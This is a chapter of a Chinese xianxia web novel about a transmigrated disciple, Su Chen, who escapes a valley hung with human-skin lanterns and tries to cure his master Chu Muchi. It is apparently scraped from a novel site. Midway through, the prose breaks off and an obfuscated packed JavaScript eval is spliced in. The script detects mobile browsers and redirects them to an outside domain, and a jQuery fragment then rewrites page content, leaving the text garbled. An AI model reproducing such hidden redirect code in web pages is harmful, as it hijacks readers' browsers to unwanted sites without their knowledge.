11.
铜壶滴漏发出微弱声响。
半盏茶，一刻钟，两炷香……时辰一点一点走着。
“舒服过头了？”
玩世不恭的调笑蓦然砸落水面，穿透一池药汤，模糊又凉淡，水流似的沿着耳廓淌下，汩汩钻进苏沉鼓膜，愈渐漫进骨头缝。
苏沉迷迷糊糊欲睁眸，眼皮不知为何重得人眯起一条缝都费劲半天。
哗啦啦几声。
少年腕骨被一只掌攥住，那掌说不出多厚实，力度倒是大得惊人，轻易将没骨头似的人捞起。
沉进池底的少年从汤池浮出水面，循着身子本能，惯性甩晃湿漉漉的脑袋。
神智昏沉喷出一口水。
似是迎面溅向道残影。
兜头盖脸挨了一口水，那影子却不恼，反倒心情甚好地低低笑了一声。
颈侧花瓣胎记若被无形物体抚过，一触即离，温温凉凉，痒痒麻麻。
苏沉混混沌沌抹抹额角水迹，头昏脑胀扶额，吃力睁眼，神情迷迷蒙蒙的，低眉垂目缓了半晌，强挣出几许清明，恍惚动了动眼皮，慢腾腾环顾四周。
四下空空如也，这丹房，除他之外，再无人，只有石案上不知何时燃起的炉火，烧得正旺。
淡雅茶香飘来，苏沉恍惚想方才那句不知是谁的打趣，肌体还真如那人所言，浑身经脉通畅无阻，若被去污除垢、洗经伐髓，舒服得人懒洋洋的。
少年指腹掠过石阶几瓣桃花，探到手腕处，了无痕迹，并未残留旁人气息，他止不住皱眉，先前那笑声分明那般真切。
奇了怪了。
屋外，几声秃鹫啼鸣尖锐、刺耳，又嘶哑，檐角连排的羊角琉璃灯被风吹得乱撞，砰砰砸击木板。
房中，苏沉眸光微散昂首，两只暗黄皮质灯笼无声无息飘来上方。
昏红烛光不时闪烁，犹如藏于暗处不可名状妖兽露出的一双眼，幽幽盯紧自己的猎物。
少年不作表情时，眉眼冷淡到极致，血光铺落那五官，分明是两厢割裂组合，却生生渲染出一种微妙而诡异的妖冶。
姝色无双，颠倒容华。
两盏红灯笼似是看怔。
许久方知眨眨眼。
啪嗒掉下滴泪。
水珠黏稠暗红还泛起点铁腥味，苏沉皱鼻细嗅。
啪嗒，又是一滴。
滴落的水珠慢慢化开。
竟是血！
至此，苏沉方彻底醒神，止不住打出个激灵，这屋顶密密麻麻漂浮着的，竟无一不是人皮灯笼。
那皮似是新剥，鲜血淋漓，肌理上的细筋未处理干净，几不可察跳动，宛若死者无声的呐喊，亦像其微不足道的反抗。
这谷主喜好当真瘆人。
少年不寒而栗，情难自禁打了个冷颤，他手脚并用撑起身子，忙不迭爬离这方药池，回头，方察觉这药池不知为何变成一池清水。
苏沉顾不得多想，快步出了这阴森诡异的丹房，匆匆带上房门。
他背倚木门，只觉心头难安，勉强稳下思绪，扒开衣襟，低头去看。
心口处那片逆鳞变成朵含苞待放的花骨朵，萼片松弛，已有花瓣雏形，藏于苍翠欲滴中，因着沾了水，便更显栩栩如生，似下一息便要开出花来。
之前没留心看，如今细细打量几眼，苏沉方惊觉这印记似的花下肌肤并不平滑。
疑虑重重下，少年若有所思片刻，按捺不住蠢蠢欲动的动作，指腹不禁摸去，心口那处微微硌手，似是伤口愈合后留下的伤痂。
这便更叫人生疑，五年狼生，并未受过什么伤，怎么化形后反倒多出个伤口，这伤口来得也奇怪。
似是道剑伤。
而这花便像于伤口上作画，以遮掩掉那丑陋难祛的疤痕，倒是莫名有点浪漫……
浪漫归浪漫，说到底还是个来历不明的玩意儿，附骨之疽似的，还是弄清楚来龙去脉但求安心好些。
“系统，这是什么？”
刚被召唤出来的系统当场被一片风光暴击。
“咳。”
系统匆匆别开视线，“光天化日，朗朗乾坤，你干什么？请不要对我耍流氓，谢谢。”
苏沉可没有心思与人插科打诨，简明扼要道：“我心口的是什么？”
“啊？”
系统似是被问懵，“什么什么？”
只三言两语的交谈，苏沉已从中察觉出些许端倪，意识到不妙，少年一语中的直言道：“你看不见这块印记？”
系统：“什么印记？”
苏沉：“再会。”
系统：“？？？”
苏沉主动掐断与系统的联系，三下五除二束好腰封，扭头，离开丹房，药池已毁，当务之急自然是找赤华沙棠。
他放出神识探路，后知后觉发现整座山头仿佛人去楼空，竟无半点生人气息。
谷中死寂萧条，悄怆幽邃，行在其中，隐隐感觉到一种空旷的悲凉自四面八方席卷而来，抽丝剥茧般涌出丝丝诡异可怖感，越品越令人脊背阵阵发凉。
徘徊山谷半天，少年终于在一个荒废多时的院子里寻回那锦盒，打开，赤华沙棠完好无损躺在其中。
他没再在这鬼地方逗留一刻半息，匆匆出了谷。
少年才到山脚，却见一名十岁出头的小药童背着个小包袱杵在谷门石柱旁，不知是为哪般。
药童……
他倒是想起书中提及过天云谷谷主丧心病狂，喜爱拿活人炼药，这名小药童便是谷主从一名凡夫俗子手中贱买回来，养在谷中的一味活药。
这小药童心存善念，虽说曾好心办坏事，却是全文唯一一个真真切切想要救治师尊的人，种善因，得善果。
思及此，苏沉提步走过去，直言不讳提醒：“别回去了，你师父不是什么好人。”
见到来人，小药童一怔，对于这位不速之客的话，倒是没反驳什么，只失意低垂脑袋：“我想阿嬷了。”
苏沉重复一声那称呼，如嚼在口中回味：“阿嬷？”
小药童点点头，带着些许骄傲，迫不及待与人炫耀：“嗯，我阿嬷是世界上最好的阿嬷！”
“那你去找她。”
“我……我没有盘缠。”
苏沉默然，低头，翻找出客栈投宿时掌柜找来的两颗碎银，塞进对方手心：“现在有了。”
小药童哪料对面人竟如此大方，白花花的银子说给便给，不由得惊讶定在原地，又不好意思挠头，十分难为情憋出句：“可是我不记得路了。”
“……”
少年郁闷挠头，行，送佛送到西，他单膝蹲下：“你阿嬷有没有给你什么信物？”
“这个算吗？”
小药童小心翼翼从颈脖处摸出一道平安符，“这是我阿嬷给我求的。”
“可以。”
苏沉没再废话，左手捏平安符，右手指尖飞速滑动几下，凌空结出一个印，打落小药童手心，又多画下一道保护符护送对方回家。
他把平安符归还：“跟着你掌心的小光点，就能找到你阿嬷了。”
言罢，起身就走。
身后小药童急忙朝他喊话。
“谢谢你。”
苏沉没回头，继续下山：“谢你自己吧。”
“昂？”
那小药童大抵没听懂，少年也没多作解释的打算，手心握紧那装有赤华沙棠的锦盒，乘着月色打道回府，直奔城中客栈。
-
“师尊，我回来了。”
苏沉敲开楚暮迟的门，房中人正坐在窗边挽起一卷书册，素净的指尖旁架起个小火炉，烹煮着一盏清茶。
屋内壁灯高燃，照得室内光亮温馨，桌上还摆放着几道未动过的菜，全是他爱吃的口味。
白衣男子侧眼：“还温。”
那人又抬手指指角落一盆温水，示意道：“先净手。”
那人话音清冷淡漠，没什么温度，宛若慈爱长辈的口吻，却是听得人心暖暖的，苏沉止不住偷笑一下，原来连残羹剩饭都不配吃的人，有朝一日也会有人挑灯等他，为他摆好一桌尽是他爱吃的热饭热菜。
“想什么，这么开心？”
苏沉来到角落，双手泡进洒了几瓣桃花的水盆，心情愉悦挽唇。
少年人的心声被直白袒露：“唔……大概是有师父的感觉真心不错。”
他慢悠悠回到桌沿，坐下，夹起一筷子菜，自言自语似的：“客栈也能变成家。”
似是想到什么，苏沉走过拉楚暮迟手臂，动作带着点不自知的熟稔：“一人用膳太无趣，师尊一道吃些吧。”
他也不待人答应，便是将人半推半拉拽到桌沿坐下，苏沉的位置旁正放着杯才被斟出的温茶，他顺手拿起，权当是一杯只有自己心知肚明的拜师茶：“弟子以茶代酒，敬师尊。”
楚暮迟淡笑望苏沉。
壁灯高照，师徒二人的影子交错叠落地面。
白衣男子没吃，只不时为小徒弟布菜。
又一次，碗中多出一块去刺鱼肉，苏沉起筷去夹时，尾指不可避免与楚暮迟欲收的掌背轻擦而过。
触感有点温，亦有点凉。
是血肉真实的体温。
少年不免微有失神，隔着几盏灯火，他抬眸去看对面楚暮迟，那人清冷寡淡的眉眼被暖黄烛光映衬出一种温情脉脉的柔和。
没来由的，他觉得眼前男子不再是离他遥不可及的由文字筑成的书中角色，而是一个血肉丰盈的人。
活生生的一个身边人。
那个人分明可以拥有自己的人生，却要被肮脏的世人扯进烂俗的戏码，打碎尊严，剥夺自由，任人践进泥潭蹂|躏肆虐。
凭什么？
明月何其无辜。
明月就该高悬。
愣神的功夫，碗中又多出一筷子清炒笋片，自家师尊的话音清泠泠的悦耳：“怎么不吃？不合口味？”
苏沉敛神，望向楚暮迟，叫人一时难辨真话还是玩笑轻唔一声，笑吟吟地拖长调子：“特别合味口，有家的味道。”
他拿起公筷替人夹了块剔骨鸡腿肉：“师尊也吃。”
楚暮迟没说话，霜雪般的眸子漾起一丝眼波，伸手，轻轻摸了摸苏沉脑袋。
如在示意“喜欢便多吃点”。
便又将那最鲜嫩的腿肉夹回给小徒弟：“为师不饿。”
师尊清修多年，早已辟谷，没有口腹之欲也实属正常，苏沉倒没勉强，只为对方添了些热茶：“师尊不用帮我布菜，弟子不会委屈自己的。”
酒足饭饱后，苏沉一刻也没耽搁，紧忙带上赤华沙棠，掏出柳神医的那张方子，避免惹人注目，索性与自家师尊来到客栈后面一方小山头。
师徒二人寻了片空地，搭建个小木棚，再架起一口大炉，生火。
苏沉有些畏冷，丢下几份药材后，干脆蹲在火堆前烤火取暖。</
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15664868|172959||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
他偏头看溪边的雪色背影，是楚暮迟正在那边摆弄药钵，那人指腹摩挲着半个赤华沙棠果实沉默几息。
虽只言未语，却胜却千言万语，显然是不太相信这药的功效，但又不想奔波整日的徒弟失望，于是便默默遂了徒弟意愿。
苏沉托腮发呆，不自觉吐出点气息，记忆中的那人亦是如此，无论他如何闹腾，那人都永远一副好脾气纵着，也总喜欢哄他开心。
哪怕他拿着二十分的数学卷子找人签名，外婆也是一副笑眯眯模样反过来安慰他“我们小狼只是一时失手，下回一定更好，好啦，笑一笑，小小年纪闷声闷气的像什么样子”。
“小狼乖乖，来，就当是给外婆笑一笑。”
苏沉唇角边笑起来时会有小梨涡那处地方被一根微凉的指戳戳。
“愁眉苦脸的做什么？”
纷乱的思绪被拉回现实，少年眼前不知何时多出一个被煨熟的红薯，馥郁的焦酥糖香钻进鼻息，还未吃，便觉香甜软糯。
盯紧这个考得刚刚好的红薯，苏沉止不住吞咽一下。
却道：“我又不是小孩。”
话虽如此，还是难掩心底窃喜，好似某个时段缺失的爱，都一一被对方弥补回来，少年眉眼被篝火映出一层不自知的笑颜。
“不是小孩就不能吃了？”
“……”
苏沉小小觑了一眼楚暮迟，怎么又是这话。
药缸翻滚，咕咚咕咚沸腾，连片的大雾飘起。
楚暮迟把红薯用锦帕包起，放到徒弟手心，便去搅拌那一大缸药汤。
苏沉捧住这枚还热的红薯，迟疑半息，掰开，吃一半，藏一半。
一刻钟后。
苏沉按照柳神医的方子，将所需药材悉数丢进那口大缸，又多添了些凝神静气，活血行气的药物，待楚暮迟打来凉水加进去，他探了探水温：“师尊，可以啦。”
楚暮迟颔首，放下木桶，合衣泡进瓦缸。
目睹雪白的一抹衣袍漂浮在水面，苏沉非礼勿视转身，背对楚暮迟，布下道保护结界，却没远去：“师尊，弟子给您护法。”
此地虽没妖兽出没，难保没有豺狼野兽，待会把弱不禁风的七百万叼走，他上哪哭去啊！
天光大亮，估摸着时辰差不多，苏沉打着哈欠回到缸边，水面当真漂浮一层污秽毒素，经年沉淤似的。
“师尊！真的见效了！”
楚暮迟睁眸，眉骨熏出细汗，水雾挂在睫毛，令视野灰蒙蒙一片，便衬得凑过来的少年五官模糊，却不难辨，那人竟比他这个当事者还惊喜。
手舞足蹈似小孩。
那笑还未彻底化开，少年忽然“咦”出一声，不可置信捻了捻水面，又探来他脉搏。
“不……怎么会？”
苏沉满目愕然定在原地，捏住楚暮迟的手腕不知觉加大力度。
纳闷道：“怎么会这样！”
少年低喃：“不对呀。”
分明该药到病除的，对方还是一副似是遭反弹的病殃殃模样，那脉象与之前相比，竟大差不差。
怎么说呢，就好像是有什么不可名状的东西在压制楚暮迟，把那好转迹象一下子打回原形。
沾着水的手轻轻拍来苏沉掌背，对面人反向安慰道：“这么多年了，治不好也实属正常。”
“……”
苏沉轻叹，不知言语。
楚暮迟走出药缸，换了身干爽衣物，瞥向苏沉，微凉的指抓向小徒弟：“下山吧。”
-
师徒二人下了山，苏沉魂不守舍跟在楚暮迟身后在城中逛起来。
行人三三两两，商贩叫卖迭起，不时能听到几句熟悉的调子，莫名有些亲切。
其实他本意便是待处理好师尊的痼疾，便自己出来逛一逛，哪料……
而那人却如读懂他心中所想，竟一直带他往热闹处走，行人络绎不绝，人声鼎沸，各种交谈声源源不断传来耳畔。
苏沉赏心悦目环顾四周，慢悠悠听着这些嘈杂声。
不远处忽然传来绣品摊位两位妇人的对话：
“欸欸欸，绣什么呢？”
“嘿，瞧我糊涂了，把针法记混淆了。”
“这你也能混淆？”
“这有什么，你是不知还有更神奇的事哩，就隔壁村老李家的孩子摔了一跤把脑子磕到了，你猜怎么着？”
“傻了？”
“倒也不是，就是把很多东西都混淆了，分明与这个人做的事，他倒记成与另外一人的了。”
“呵，确实稀奇。”
老婆婆抬头，便见两位公子停在她们摊位前，忙堆起笑容问：“二位，买平安扣么？灵隐寺开过光的哟！保平安的哩！我们这边还有个小风俗，互戴平安扣，意为互相守护对方的平安。”
苏沉自是不信这种话术，只是听着老人家那一口口音，茫然去接平安扣。
记忆中，好似有个四五岁小孩的身影，不及身旁人腿高，要踮起脚来扯人，口中嘟囔着鬼马精灵的话：“风俗说，平安扣要互相戴的，这叫做保管彼此的平安哦。”
那人一身素净白衫，弯腰，将一枚平安扣戴到他脖子，笑吟吟逗人。
“你要保管为师的平安？”
“啊？”
苏沉闻言醒神，偏头，见楚暮迟正微微倾身，帮他戴上一枚平安扣。
而他手中的平安扣竟精准无疑地卡到对方腰际处。